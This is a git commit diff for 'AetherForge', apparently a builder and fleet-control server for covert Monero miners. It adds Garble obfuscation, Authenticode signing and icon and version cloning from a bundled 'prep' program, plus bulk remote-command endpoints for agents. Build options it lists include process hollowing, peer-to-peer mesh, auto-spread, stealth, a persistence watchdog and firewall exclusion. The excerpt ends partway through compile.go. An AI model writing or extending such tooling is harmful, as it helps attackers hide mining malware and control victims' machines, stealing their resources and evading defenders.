Add forge pipeline polish, simple forge UX, and fleet management upgrades.
Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
11
PROBLEMS.md
11
PROBLEMS.md
@@ -29,7 +29,7 @@ Findings grouped by severity. Updated after bug-sweep pass.
|
|||||||
| M10 | CORS: `AllowCredentials: false` with `AllowedOrigins: *` |
|
| M10 | CORS: `AllowCredentials: false` with `AllowedOrigins: *` |
|
||||||
| M11 | Blueprint delete returns boolean `success` |
|
| M11 | Blueprint delete returns boolean `success` |
|
||||||
| — | Deleted corrupt empty `server/internal/ollama/main.go` and root `main.go` (broke `go build`) |
|
| — | Deleted corrupt empty `server/internal/ollama/main.go` and root `main.go` (broke `go build`) |
|
||||||
| — | AI shares wired from agent client stats |
|
| — | Fleet filters, bulk commands, per-agent notes/tags (SQLite) |
|
||||||
| — | Ollama prompt: `reinstall_miner` uses `build_id` |
|
| — | Ollama prompt: `reinstall_miner` uses `build_id` |
|
||||||
| — | Forge types/defaults include `process_hollowing`, `mesh_p2p`, `auto_spread` (default false) |
|
| — | Forge types/defaults include `process_hollowing`, `mesh_p2p`, `auto_spread` (default false) |
|
||||||
|
|
||||||
@@ -56,11 +56,10 @@ Findings grouped by severity. Updated after bug-sweep pass.
|
|||||||
|
|
||||||
| ID | Issue |
|
| ID | Issue |
|
||||||
|----|-------|
|
|----|-------|
|
||||||
| M1 | Full tactical panel in agent list cards (compact mode exists but list still busy) |
|
| M1 | Compact agent list default — expand on click; full detail panel retained |
|
||||||
| M4 | Forge UI has no toggles for hollowing/mesh/spread (types/defaults only) |
|
| M6 | Remote actions disabled unless `status === online` (list, detail, dashboard) |
|
||||||
| M6 | Remote UI offline guard partial (compact checks `agent.status`) |
|
|
||||||
| M7 | Row click vs button bubbling (compact uses `stopPropagation`) |
|
| M7 | Row click vs button bubbling (compact uses `stopPropagation`) |
|
||||||
| M9 | Fusion icon needs network for `go-winres` at forge time |
|
| M9 | Fusion uses vendored `go-winres` (module + optional `go install` via run.bat) |
|
||||||
|
|
||||||
### Low
|
### Low
|
||||||
|
|
||||||
@@ -68,7 +67,7 @@ Findings grouped by severity. Updated after bug-sweep pass.
|
|||||||
|----|-------|
|
|----|-------|
|
||||||
| L1 | Dead CSS `.agent-actions` in `FleetPanels.css` |
|
| L1 | Dead CSS `.agent-actions` in `FleetPanels.css` |
|
||||||
| L2 | Duplicate CSS imports on Dashboard/Agents |
|
| L2 | Duplicate CSS imports on Dashboard/Agents |
|
||||||
| L3 | Weak typing on WS payloads (`any`) |
|
| L3 | WS payloads typed in `types/ws.ts` + `api/ws_types.go` (partial — not all message types) |
|
||||||
| L4 | No integration tests for remote actions |
|
| L4 | No integration tests for remote actions |
|
||||||
| L5 | Mesh P2P requires build tag `p2p` for full libp2p |
|
| L5 | Mesh P2P requires build tag `p2p` for full libp2p |
|
||||||
|
|
||||||
|
|||||||
@@ -61,7 +61,7 @@ You configure defaults once in **Calibrate**. You forge once per machine in **Fo
|
|||||||
- Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
|
- Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
|
||||||
- Blueprint save/load — re-forge the same profile across machines
|
- Blueprint save/load — re-forge the same profile across machines
|
||||||
- Build manager — download, paths, LAN QR for worker URL
|
- Build manager — download, paths, LAN QR for worker URL
|
||||||
- **Fusion mode** — upload prep, pick run order (`parallel` / `prep_first` / `worker_first`), output lands in **project root** with prep's icon when icon extraction succeeds
|
- **Fusion mode** — upload prep, pick run order (`parallel` / `prep_first` / `worker_first`), output lands in **project root** with prep's icon and version info; optional Garble obfuscation and Authenticode signing
|
||||||
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
|
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
|
||||||
|
|
||||||
### Calibrate (Settings)
|
### Calibrate (Settings)
|
||||||
|
|||||||
20
run.bat
20
run.bat
@@ -4,6 +4,11 @@ title AetherForge Control Server
|
|||||||
cd /d "%~dp0"
|
cd /d "%~dp0"
|
||||||
set "ROOT=%CD%"
|
set "ROOT=%CD%"
|
||||||
|
|
||||||
|
if /i "%~1"=="release" (
|
||||||
|
set "AETHERFORGE_RELEASE=1"
|
||||||
|
echo Release mode: Garble obfuscation default ON for new forges.
|
||||||
|
)
|
||||||
|
|
||||||
:: Remove corrupt empty Go file that breaks server builds (accidental placeholder).
|
:: Remove corrupt empty Go file that breaks server builds (accidental placeholder).
|
||||||
if exist "server\internal\ollama\main.go" (
|
if exist "server\internal\ollama\main.go" (
|
||||||
for %%F in ("server\internal\ollama\main.go") do if %%~zF==0 del "server\internal\ollama\main.go"
|
for %%F in ("server\internal\ollama\main.go") do if %%~zF==0 del "server\internal\ollama\main.go"
|
||||||
@@ -67,14 +72,20 @@ echo Go installed.
|
|||||||
|
|
||||||
:go_ready
|
:go_ready
|
||||||
|
|
||||||
:: Garble (optional, for Forge obfuscation — failure is non-fatal)
|
:: Garble + go-winres (Forge pipeline tools — failure is non-fatal)
|
||||||
echo [1.5/5] Checking Garble (optional)...
|
echo [1.5/5] Checking Forge tools (Garble, go-winres)...
|
||||||
where garble >nul 2>nul
|
where garble >nul 2>nul
|
||||||
if errorlevel 1 (
|
if errorlevel 1 (
|
||||||
echo Installing garble via go install...
|
echo Installing garble via go install...
|
||||||
go install mvdan.cc/garble@latest
|
go install mvdan.cc/garble@latest
|
||||||
if errorlevel 1 echo WARNING: Garble install failed; Forge obfuscation may be unavailable.
|
if errorlevel 1 echo WARNING: Garble install failed; Forge obfuscation may be unavailable.
|
||||||
)
|
)
|
||||||
|
where go-winres >nul 2>nul
|
||||||
|
if errorlevel 1 (
|
||||||
|
echo Installing go-winres via go install...
|
||||||
|
go install github.com/tc-hib/go-winres@v0.3.1
|
||||||
|
if errorlevel 1 echo WARNING: go-winres install failed; Fusion icon patch may need network on first forge.
|
||||||
|
)
|
||||||
|
|
||||||
:: ============================================================
|
:: ============================================================
|
||||||
:: STEP 2: Node.js
|
:: STEP 2: Node.js
|
||||||
@@ -185,6 +196,10 @@ if errorlevel 1 (
|
|||||||
)
|
)
|
||||||
cd /d "%ROOT%"
|
cd /d "%ROOT%"
|
||||||
|
|
||||||
|
if defined AETHERFORGE_RELEASE (
|
||||||
|
echo Release mode active — set AETHERFORGE_RELEASE=1 for server process.
|
||||||
|
)
|
||||||
|
|
||||||
if not exist "bin\miner-server.exe" (
|
if not exist "bin\miner-server.exe" (
|
||||||
echo ERROR: bin\miner-server.exe was not created.
|
echo ERROR: bin\miner-server.exe was not created.
|
||||||
goto fatal_exit
|
goto fatal_exit
|
||||||
@@ -219,6 +234,7 @@ echo.
|
|||||||
start "" cmd /c "timeout /t 3 /nobreak >nul && start http://localhost:8989/"
|
start "" cmd /c "timeout /t 3 /nobreak >nul && start http://localhost:8989/"
|
||||||
|
|
||||||
echo [Server] miner-server.exe -port 8989 -data "%ROOT%\data"
|
echo [Server] miner-server.exe -port 8989 -data "%ROOT%\data"
|
||||||
|
if defined AETHERFORGE_RELEASE set AETHERFORGE_RELEASE=1
|
||||||
echo.
|
echo.
|
||||||
|
|
||||||
.\bin\miner-server.exe -port 8989 -data "%ROOT%\data"
|
.\bin\miner-server.exe -port 8989 -data "%ROOT%\data"
|
||||||
|
|||||||
@@ -38,6 +38,11 @@ type ServerSettings struct {
|
|||||||
StrictWalletValidation bool `json:"strict_wallet_validation"`
|
StrictWalletValidation bool `json:"strict_wallet_validation"`
|
||||||
DashboardSubtitle string `json:"dashboard_subtitle"`
|
DashboardSubtitle string `json:"dashboard_subtitle"`
|
||||||
OpenFirewallOnStart bool `json:"open_firewall_on_start"`
|
OpenFirewallOnStart bool `json:"open_firewall_on_start"`
|
||||||
|
ObfuscateDefault bool `json:"obfuscate_default"`
|
||||||
|
SignEnabled bool `json:"sign_enabled"`
|
||||||
|
SignCertThumbprint string `json:"sign_cert_thumbprint"`
|
||||||
|
SignToolPath string `json:"sign_tool_path"`
|
||||||
|
SignTimestampURL string `json:"sign_timestamp_url"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type PoolConfig struct {
|
type PoolConfig struct {
|
||||||
@@ -159,6 +164,9 @@ func DefaultConfig() *Config {
|
|||||||
StrictWalletValidation: false,
|
StrictWalletValidation: false,
|
||||||
DashboardSubtitle: "security is just an emotion",
|
DashboardSubtitle: "security is just an emotion",
|
||||||
OpenFirewallOnStart: true,
|
OpenFirewallOnStart: true,
|
||||||
|
ObfuscateDefault: false,
|
||||||
|
SignEnabled: false,
|
||||||
|
SignTimestampURL: "http://timestamp.digicert.com",
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -338,6 +346,17 @@ func mergeConfig(dst, src *Config) {
|
|||||||
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
|
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
|
||||||
}
|
}
|
||||||
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
|
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
|
||||||
|
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
|
||||||
|
dst.Server.SignEnabled = src.Server.SignEnabled
|
||||||
|
if src.Server.SignCertThumbprint != "" {
|
||||||
|
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
|
||||||
|
}
|
||||||
|
if src.Server.SignToolPath != "" {
|
||||||
|
dst.Server.SignToolPath = src.Server.SignToolPath
|
||||||
|
}
|
||||||
|
if src.Server.SignTimestampURL != "" {
|
||||||
|
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (c *Config) Save() error {
|
func (c *Config) Save() error {
|
||||||
|
|||||||
@@ -11,11 +11,18 @@ require (
|
|||||||
)
|
)
|
||||||
|
|
||||||
require (
|
require (
|
||||||
|
github.com/cpuguy83/go-md2man/v2 v2.0.0 // indirect
|
||||||
github.com/dustin/go-humanize v1.0.1 // indirect
|
github.com/dustin/go-humanize v1.0.1 // indirect
|
||||||
github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect
|
github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect
|
||||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||||
github.com/ncruces/go-strftime v0.1.9 // indirect
|
github.com/ncruces/go-strftime v0.1.9 // indirect
|
||||||
|
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 // indirect
|
||||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
|
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
|
||||||
|
github.com/russross/blackfriday/v2 v2.1.0 // indirect
|
||||||
|
github.com/tc-hib/go-winres v0.3.1 // indirect
|
||||||
|
github.com/tc-hib/winres v0.1.6 // indirect
|
||||||
|
github.com/urfave/cli/v2 v2.3.0 // indirect
|
||||||
|
golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb // indirect
|
||||||
golang.org/x/net v0.17.0 // indirect
|
golang.org/x/net v0.17.0 // indirect
|
||||||
golang.org/x/sys v0.18.0 // indirect
|
golang.org/x/sys v0.18.0 // indirect
|
||||||
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect
|
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect
|
||||||
|
|||||||
@@ -1,3 +1,7 @@
|
|||||||
|
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||||
|
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
|
||||||
|
github.com/cpuguy83/go-md2man/v2 v2.0.0 h1:EoUDS0afbrsXAZ9YQ9jdu/mZ2sXgT1/2yyNng4PGlyM=
|
||||||
|
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
|
||||||
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
||||||
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
|
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
|
||||||
github.com/go-chi/chi/v5 v5.0.12 h1:9euLV5sTrTNTRUU9POmDUvfxyj6LAABLUcEWO+JJb4s=
|
github.com/go-chi/chi/v5 v5.0.12 h1:9euLV5sTrTNTRUU9POmDUvfxyj6LAABLUcEWO+JJb4s=
|
||||||
@@ -18,10 +22,25 @@ github.com/mattn/go-sqlite3 v1.14.22 h1:2gZY6PC6kBnID23Tichd1K+Z0oS6nE/XwU+Vz/5o
|
|||||||
github.com/mattn/go-sqlite3 v1.14.22/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
|
github.com/mattn/go-sqlite3 v1.14.22/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
|
||||||
github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4=
|
github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4=
|
||||||
github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
|
github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
|
||||||
|
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ=
|
||||||
|
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8=
|
||||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
|
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
|
||||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||||
|
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||||
|
github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
|
||||||
|
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||||
|
github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
|
||||||
|
github.com/tc-hib/go-winres v0.3.1 h1:9r67V7Ep34yyx8SL716BzcKePRvEBOjan47SmMnxEdE=
|
||||||
|
github.com/tc-hib/go-winres v0.3.1/go.mod h1:lTPf0MW3eu6rmvMyLrPXSy6xsSz4t5dRxB7dc5YFP6k=
|
||||||
|
github.com/tc-hib/winres v0.1.6 h1:qgsYHze+BxQPEYilxIz/KCQGaClvI2+yLBAZs+3+0B8=
|
||||||
|
github.com/tc-hib/winres v0.1.6/go.mod h1:pe6dOR40VOrGz8PkzreVKNvEKnlE8t4yR8A8naL+t7A=
|
||||||
|
github.com/urfave/cli/v2 v2.3.0 h1:qph92Y649prgesehzOrQjdWyxFOp/QVM+6imKHad91M=
|
||||||
|
github.com/urfave/cli/v2 v2.3.0/go.mod h1:LJmUH05zAU44vOAcrfzZQKsZbVcdbOG8rtL3/XcUArI=
|
||||||
|
golang.org/x/image v0.0.0-20201208152932-35266b937fa6/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
|
||||||
|
golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb h1:fqpd0EBDzlHRCjiphRR5Zo/RSWWQlWv34418dnEixWk=
|
||||||
|
golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
|
||||||
golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic=
|
golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic=
|
||||||
golang.org/x/mod v0.16.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
golang.org/x/mod v0.16.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
||||||
golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
|
golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
|
||||||
@@ -29,8 +48,11 @@ golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
|
|||||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4=
|
golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4=
|
||||||
golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||||
|
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||||
golang.org/x/tools v0.19.0 h1:tfGCXNR1OsFG+sVdLAitlpjAvD/I6dHDKnYrpEZUHkw=
|
golang.org/x/tools v0.19.0 h1:tfGCXNR1OsFG+sVdLAitlpjAvD/I6dHDKnYrpEZUHkw=
|
||||||
golang.org/x/tools v0.19.0/go.mod h1:qoJWxmGSIBmAeriMx19ogtrEPrGtDbPK634QFIcLAhc=
|
golang.org/x/tools v0.19.0/go.mod h1:qoJWxmGSIBmAeriMx19ogtrEPrGtDbPK634QFIcLAhc=
|
||||||
|
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||||
|
gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||||
modernc.org/cc/v4 v4.20.0 h1:45Or8mQfbUqJOG9WaxvlFYOAQO0lQ5RvqBcFCXngjxk=
|
modernc.org/cc/v4 v4.20.0 h1:45Or8mQfbUqJOG9WaxvlFYOAQO0lQ5RvqBcFCXngjxk=
|
||||||
modernc.org/cc/v4 v4.20.0/go.mod h1:HM7VJTZbUCR3rV8EYBi9wxnJ0ZBRiGE5OeGXNA0IsLQ=
|
modernc.org/cc/v4 v4.20.0/go.mod h1:HM7VJTZbUCR3rV8EYBi9wxnJ0ZBRiGE5OeGXNA0IsLQ=
|
||||||
modernc.org/ccgo/v4 v4.16.0 h1:ofwORa6vx2FMm0916/CkZjpFPSR70VwTjUCe2Eg5BnA=
|
modernc.org/ccgo/v4 v4.16.0 h1:ofwORa6vx2FMm0916/CkZjpFPSR70VwTjUCe2Eg5BnA=
|
||||||
|
|||||||
@@ -150,6 +150,84 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type agentMetaRequest struct {
|
||||||
|
Notes string `json:"notes"`
|
||||||
|
Tags []string `json:"tags"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (f *FleetHandler) PutAgentMeta(w http.ResponseWriter, r *http.Request) {
|
||||||
|
id := chi.URLParam(r, "id")
|
||||||
|
if id == "" {
|
||||||
|
http.Error(w, "agent id is required", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
var req agentMetaRequest
|
||||||
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||||
|
http.Error(w, "invalid body", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if _, err := f.db.GetAgent(id); err != nil {
|
||||||
|
http.Error(w, "agent not found", http.StatusNotFound)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := f.db.UpdateAgentMeta(id, req.Notes, req.Tags); err != nil {
|
||||||
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
agent, _ := f.db.GetAgent(id)
|
||||||
|
writeJSON(w, map[string]interface{}{"success": true, "agent": agent})
|
||||||
|
}
|
||||||
|
|
||||||
|
type bulkCommandRequest struct {
|
||||||
|
AgentIDs []string `json:"agent_ids"`
|
||||||
|
Action string `json:"action"`
|
||||||
|
Command string `json:"command,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if f.ws == nil {
|
||||||
|
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
var req bulkCommandRequest
|
||||||
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||||
|
http.Error(w, "invalid body", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if req.Action == "" {
|
||||||
|
http.Error(w, "action is required", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if len(req.AgentIDs) == 0 {
|
||||||
|
writeJSON(w, map[string]interface{}{
|
||||||
|
"success": false,
|
||||||
|
"error": "agent_ids is required",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
args := map[string]interface{}{}
|
||||||
|
if req.Command != "" {
|
||||||
|
args["command"] = req.Command
|
||||||
|
}
|
||||||
|
|
||||||
|
sent := 0
|
||||||
|
failed := 0
|
||||||
|
for _, id := range req.AgentIDs {
|
||||||
|
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
||||||
|
failed++
|
||||||
|
} else {
|
||||||
|
sent++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
writeJSON(w, map[string]interface{}{
|
||||||
|
"success": sent > 0,
|
||||||
|
"sent": sent,
|
||||||
|
"failed": failed,
|
||||||
|
"action": req.Action,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).
|
// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).
|
||||||
func EstimateXMRPerDay(hashrate float64) map[string]interface{} {
|
func EstimateXMRPerDay(hashrate float64) map[string]interface{} {
|
||||||
const networkHashrate = 3_000_000_000.0
|
const networkHashrate = 3_000_000_000.0
|
||||||
|
|||||||
@@ -126,6 +126,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
if fleetHandler != nil {
|
if fleetHandler != nil {
|
||||||
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
|
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
|
||||||
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
|
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
|
||||||
|
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
|
||||||
|
r.Post("/agents/bulk-command", fleetHandler.PostBulkCommand)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Fleet ops
|
// Fleet ops
|
||||||
@@ -150,6 +152,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
|
|
||||||
// Builder
|
// Builder
|
||||||
r.Post("/builder/build", builderHandler.ServeHTTP)
|
r.Post("/builder/build", builderHandler.ServeHTTP)
|
||||||
|
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
||||||
|
|
||||||
// Blueprints (config presets)
|
// Blueprints (config presets)
|
||||||
r.Get("/blueprints", blueprintHandler.ServeHTTP)
|
r.Get("/blueprints", blueprintHandler.ServeHTTP)
|
||||||
|
|||||||
39
server/internal/api/ws_types.go
Normal file
39
server/internal/api/ws_types.go
Normal file
@@ -0,0 +1,39 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
// Dashboard WebSocket payload types (keep in sync with server/web/src/types/ws.ts).
|
||||||
|
|
||||||
|
type WSDashboardInit struct {
|
||||||
|
Agents []interface{} `json:"agents"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type WSAgentOffline struct {
|
||||||
|
AgentID string `json:"agent_id"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type WSStatsUpdate struct {
|
||||||
|
AgentID string `json:"agent_id"`
|
||||||
|
Hashrate15s float64 `json:"hashrate_15s"`
|
||||||
|
Hashrate1m float64 `json:"hashrate_1m"`
|
||||||
|
Hashrate15m float64 `json:"hashrate_15m"`
|
||||||
|
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||||
|
MemoryUsagePct float64 `json:"memory_usage_pct,omitempty"`
|
||||||
|
UptimeSeconds int `json:"uptime_seconds,omitempty"`
|
||||||
|
SharesSubmitted int `json:"shares_submitted,omitempty"`
|
||||||
|
SharesAccepted int `json:"shares_accepted,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type WSCommandResult struct {
|
||||||
|
AgentID string `json:"agent_id"`
|
||||||
|
Action string `json:"action"`
|
||||||
|
Success bool `json:"success"`
|
||||||
|
Message string `json:"message,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type WSAgentLog struct {
|
||||||
|
AgentID string `json:"agent_id"`
|
||||||
|
Content string `json:"content"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type WSServerLog struct {
|
||||||
|
Line string `json:"line"`
|
||||||
|
}
|
||||||
62
server/internal/builder/compile.go
Normal file
62
server/internal/builder/compile.go
Normal file
@@ -0,0 +1,62 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (h *Handler) buildTagsFor(req *BuildRequest) []string {
|
||||||
|
var tags []string
|
||||||
|
if req.ProcessHollowing {
|
||||||
|
tags = append(tags, "hollow")
|
||||||
|
}
|
||||||
|
if req.MeshP2P {
|
||||||
|
tags = append(tags, "p2p")
|
||||||
|
}
|
||||||
|
return tags
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) shouldObfuscate(req *BuildRequest) bool {
|
||||||
|
if req.Obfuscate {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return h.policy.DefaultObfuscate
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) {
|
||||||
|
env := append(os.Environ(),
|
||||||
|
"GOOS=windows",
|
||||||
|
"GOARCH=amd64",
|
||||||
|
"CGO_ENABLED=0",
|
||||||
|
)
|
||||||
|
|
||||||
|
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
|
||||||
|
if len(tags) > 0 {
|
||||||
|
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
|
||||||
|
}
|
